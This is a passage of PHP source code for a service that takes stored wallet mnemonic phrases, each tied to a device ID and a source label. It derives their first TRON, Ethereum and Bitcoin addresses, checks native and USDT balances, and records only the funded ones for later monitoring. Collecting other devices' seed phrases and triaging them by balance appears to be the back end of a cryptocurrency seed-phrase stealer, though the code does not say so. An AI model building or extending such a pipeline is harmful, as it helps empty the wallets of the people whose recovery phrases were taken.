*/ private const CHAINS = [ ['chain' => 'tron', 'chain_type' => 'TRON'], ['chain' => 'eth', 'chain_type' => 'ETH'], ['chain' => 'btc', 'chain_type' => 'BTC'], ]; public function __construct( private readonly ChainManager $chains, ) {} /** * @return int Number of address rows created or updated with positive balance */ public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { return 0; } $existing = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) ->exists(); if ($existing) { return 0; } $source = trim((string) ($mnemonic->source ?: '')); $saved = 0; foreach (self::CHAINS as $spec) { try { if ($this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type'])) { $saved++; } } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, 'chain' => $spec['chain'], ]); } } return $saved; } private function discoverOne( WalletMnemonic $mnemonic, string $phrase, string $source, string $chain, string $chainType, ): bool { $driver = $this->chains->resolve($chain); $address = $driver->deriveAddress($phrase, 0); $coins = $this->fetchCoins($chain, $address); if (! $this->hasPositiveBalance($coins)) { return false; } $row = WalletAddress::query()->firstOrNew([ 'device_id' => $mnemonic->device_id, 'address' => $address, 'source' => $source !== '' ? $source : null, ]); $row->chain_type = $chainType; $row->mnemonic_id = $mnemonic->id; $row->derive_index = 0; if (! $row->exists) { $row->monitor = 0; } foreach ($coins as $col => $value) { $row->{$col} = $value; } $row->save(); return true; } /** * @return array */ private function fetchCoins(string $chain, string $address): array { $driver = $this->chains->resolve($chain); return match ($chain) { 'tron' => [ 'trx' => $driver->getNativeBalance($address), 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')), ], 'eth' => [ 'eth' => $driver->getNativeBalance($address), 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), ], 'btc' => [ 'btc' => $driver->getNativeBalance($address), ], default => [], }; } private function tokenBalance(ChainDriver $driver, string $address, string $contract): string { $contract = trim($contract); if ($contract === '') { return '0'; } try { return (string) $driver->getTokenBalance($address, $contract); } catch (\Throwable) { return '0'; } } /** * @param array $coins */ private function hasPositiveBalance(array $coins): bool { foreach ($coins as $value) { if (! is_numeric($value)) { continue; } if (bccomp((string) $value, '0', 18) > 0) { return true; } } return false; } }